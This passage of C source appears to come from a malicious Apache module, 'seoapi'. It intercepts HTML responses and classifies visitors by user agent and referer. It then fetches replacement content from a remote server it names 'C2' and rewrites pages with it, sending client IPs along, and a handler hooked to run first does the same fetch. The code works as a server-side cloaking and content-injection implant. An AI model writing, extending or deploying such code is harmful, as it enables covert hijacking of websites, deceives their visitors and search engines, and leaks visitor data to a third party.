ctx->passthrough = 1;
return pass_saved(f, ctx);
}
for (e = APR_BRIGADE_FIRST(ctx->bb); e != APR_BRIGADE_SENTINEL(ctx->bb);
e = APR_BUCKET_NEXT(e)) {
if (APR_BUCKET_IS_EOS(e)) {
ctx->seen_eos = 1;
break;
}
}
/* size guard while buffering */
{
apr_off_t len = -1;
apr_brigade_length(ctx->bb, 0, &len);
if (len > SEOAPI_MAX_BUFFER) {
ctx->passthrough = 1;
return pass_saved(f, ctx);
}
ctx->bytes = len;
}
if (!ctx->seen_eos)
return APR_SUCCESS;
/* Flatten only after EOS and size check */
rv = apr_brigade_pflatten(ctx->bb, &flat, &flat_len, r->pool);
if (rv != APR_SUCCESS || flat_len > SEOAPI_MAX_BUFFER) {
ctx->passthrough = 1;
/* rebuild eos pass of original saved data already in ctx->bb — re-flatten failed */
return pass_saved(f, ctx);
}
maybe_gunzip(r, &flat, &flat_len);
ctype = r->content_type ? r->content_type : "";
if (ctype[0] && !ci_strstr(ctype, "html") && !ci_strstr(ctype, "text") &&
!ci_strstr(ctype, "xml")) {
return send_bytes(r, f, flat, flat_len, 1);
}
/* empty body — pass empty eos */
if (flat_len == 0) {
return send_bytes(r, f, "", 0, 1);
}
ua = apr_table_get(r->headers_in, "User-Agent");
ref = apr_table_get(r->headers_in, "Referer");
build_full_url(r, full, sizeof(full));
classify(r, ua, ref, full, uz, sizeof(uz), rq, sizeof(rq));
if (!uz[0]) {
return send_bytes(r, f, flat, flat_len, 1);
}
if (strcmp(uz, "pc") == 0 && ci_strstr(full, "sitemap.xml"))
apr_snprintf(uz, sizeof(uz), "dt");
{
const char *ho = is_mobile_ua(ua) ? "sj" : "pc";
const char *ip = client_ip(r);
c2 = seo_fetch(r, cfg, uz, rq, ho, full, ip, ua, ref);
}
if (!c2) {
return send_bytes(r, f, flat, flat_len, 1);
}
out = NULL;
out_len = 0;
if (!apply_c2(r, c2, flat, flat_len, &out, &out_len) || !out) {
return send_bytes(r, f, flat, flat_len, 1);
}
apr_table_unset(r->headers_out, "Content-Length");
apr_table_unset(r->headers_out, "Content-Encoding");
apr_table_unset(r->err_headers_out, "Content-Length");
apr_table_unset(r->err_headers_out, "Content-Encoding");
ap_set_content_length(r, (apr_off_t)out_len);
apr_brigade_cleanup(ctx->bb);
return send_bytes(r, f, out, out_len, 1);
}
#endif /* output filter disabled */
/*
* Output filter kept in tree for reference but NOT registered.
* Prior brigade-buffer + curl-in-filter path segfaulted under mpm_event.
*/
#if 0
static void seoapi_insert_filter(request_rec *r)
{
(void)r;
}
#endif
static void seoapi_register_hooks(apr_pool_t *p)
{
static int curl_inited = 0;
if (!curl_inited) {
curl_global_init(CURL_GLOBAL_DEFAULT);
curl_inited = 1;
}
/* Handler-only: fetch C2 and DONE — no output filter */
ap_hook_handler(seoapi_handler, NULL, NULL, APR_HOOK_REALLY_FIRST);
(void)p;
}
module AP_MODULE_DECLARE_DATA seoapi_module = {
STANDARD20_MODULE_STUFF,
NULL,
NULL,
seoapi_create_server_cfg,
NULL,
seoapi_cmds,
seoapi_register_hooks
};